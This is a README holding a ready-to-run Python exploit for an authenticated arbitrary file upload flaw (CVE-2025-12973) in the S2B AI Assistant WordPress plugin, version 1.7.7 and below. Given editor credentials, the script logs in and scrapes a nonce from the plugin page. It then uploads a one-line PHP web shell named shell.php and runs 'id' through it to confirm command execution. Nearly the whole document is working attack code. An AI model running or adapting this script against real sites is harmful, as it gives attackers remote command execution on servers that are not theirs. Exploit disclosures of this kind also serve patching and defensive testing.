README.md
Rendering markdown...
# Exploit Title: S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content & Image Generator <= 1.7.7 - Authenticated (Editor+) Arbitrary File Upload
# Date: 11/09/2025
# Exploit Author: Ryan Kozak
# Vendor Homepage: https://wordpress.org/plugins/s2b-ai-assistant/
# Version: <= 1.7.7
# CVE : CVE-2025-12973
import requests
import re
import sys
import argparse
from urllib.parse import urljoin
def main():
parser = argparse.ArgumentParser(description='CVE-2025-XXXXX - S2B AI Assistant Plugin File Upload Exploit')
parser.add_argument('url', help='Target WordPress URL (e.g., http://example.com)')
parser.add_argument('username', help='WordPress username')
parser.add_argument('password', help='WordPress password')
args = parser.parse_args()
print(f"[+] Target: {args.url}")
print(f"[+] Username: {args.username}")
# Login to WordPress
session = requests.Session()
login_data = {
'log': args.username,
'pwd': args.password,
'wp-submit': 'Log In',
'redirect_to': urljoin(args.url, '/wp-admin/'),
'testcookie': '1'
}
session.post(urljoin(args.url, '/wp-login.php'), data=login_data)
# Get nonce from chatbot page
chatbot_url = urljoin(args.url, '/wp-admin/admin.php?page=s2baia_chatbot')
response = session.get(chatbot_url)
# Look for nonce in the page content (Assistant API tab)
nonce_match = re.search(r'name=["\']s2b_chatbot_assistant_nonce["\']\s+value=["\']([^"\']+)["\']', response.text)
if not nonce_match:
# Try alternative nonce patterns
nonce_match = re.search(r's2b_chatbot_assistant_nonce["\']?\s*:\s*["\']([^"\']+)["\']', response.text)
if not nonce_match:
nonce_match = re.search(r'value=["\']([^"\']+)["\']\s+name=["\']s2b_chatbot_assistant_nonce["\']', response.text)
if not nonce_match:
print("[-] Failed to get nonce from chatbot page")
print("[-] Make sure you have Editor role or higher")
sys.exit(1)
nonce = nonce_match.group(1)
print(f"[+] Nonce obtained: {nonce}")
# Upload malicious file
upload_url = urljoin(args.url, '/wp-admin/admin-post.php')
files = {
's2baia_chatbot_config_database': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
's2b_chatbot_assistant_nonce': nonce,
's2b_chatbot_hash': 'assistant',
'action': 's2b_store_chatbot_upload'
}
response = session.post(upload_url, files=files, data=data, allow_redirects=True)
# File is stored in wp-content/uploads/ directory
# WordPress typically organizes uploads by year/month
import datetime
now = datetime.datetime.now()
uploads_base = urljoin(args.url, '/wp-content/uploads/')
shell_url = f"{uploads_base}{now.year}/{now.month:02d}/shell.php"
print(f"[+] File uploaded successfully!")
print(f"[+] Shell URL: {shell_url}")
# Test the shell
test_url = f"{shell_url}?cmd=id"
test_response = session.get(test_url)
if test_response.status_code == 200:
print(f"[+] Command output:")
print(test_response.text.strip())
else:
print(f"[!] Shell may be at a different location")
print(f"[!] Check: {uploads_base}")
if __name__ == "__main__":
main()